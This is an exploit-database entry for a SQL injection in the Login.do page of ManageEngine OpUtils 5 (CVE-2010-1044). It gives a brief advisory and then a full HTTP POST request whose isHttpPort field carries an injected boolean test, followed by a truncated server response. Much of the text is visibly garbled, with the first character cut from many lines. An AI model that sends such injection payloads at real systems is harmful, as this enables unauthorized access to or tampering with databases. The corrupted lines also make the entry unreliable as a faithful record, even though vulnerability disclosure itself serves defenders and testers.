ManageEngine OpUtils 5 "Login.DO" SQL Injection Vulnerability

EDB-ID: 11330	CVE: 2010-1044	OSVDB-ID: 63207
Author: Asheesh Anaconda	Published: 2010-02-04	Verified:
Exploit Code:	Vulnerable App: N/A	

Reliability

Overall: (0.0)

Previous Exploit Home Next Exploit

```
                    ================================================================================

                     ManageEngine OpUtils 5 "Login.DO" SQL Injection Vulnerability
                    ================================================================================

Date-3/2/10
 code by Asheesh kumar Mani Tripathi

         AKS IT Services

 Credit by Asheesh Anaconda


Download http://www.manageengine.com/products/oputils

Vulnerbility
anageEngine OpUtils 5 is prone to an SQL-injection vulnerability because the application fails to properly
anitize user-supplied input before using it in an SQL query.

Impact
 successful exploit could allow an attacker to compromise the application, access or modify data, or exploit
ulnerabilities in the underlying database


================================================================================================================================

                                                        Request
================================================================================================================================

OST /Login.do HTTP/1.1
ost: localhost:7080
ser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR
.5.30729)
ccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
ccept-Language: en-us,en;q=0.5
ccept-Encoding: gzip,deflate
ccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
eep-Alive: 115
roxy-Connection: keep-alive
eferer: http://localhost:7080/Login.do
ookie: JSESSIONID=738A4E8130CBE2A0D5E857D9EBF9820E; 32=temp; 83=temp
ontent-Type: application/x-www-form-urlencoded
ontent-Length: 136

ookieexists=true&username=asheesh&password=asheesh&logonsubmit=+&log=WARNING&locationUrl=localhost&isHttpPort=false"+and+31337-
1337="0



================================================================================================================================
                                                        Response
================================================================================================================================


TTP/1.1 200 OK
ontent-Type: text/html;charset=ISO-8859-1
ate: Wed, 03 Feb 2010 15:24:08 GMT
erver: Apache-Coyote/1.1
ontent-Length: 20583
```

Comments

No comments so far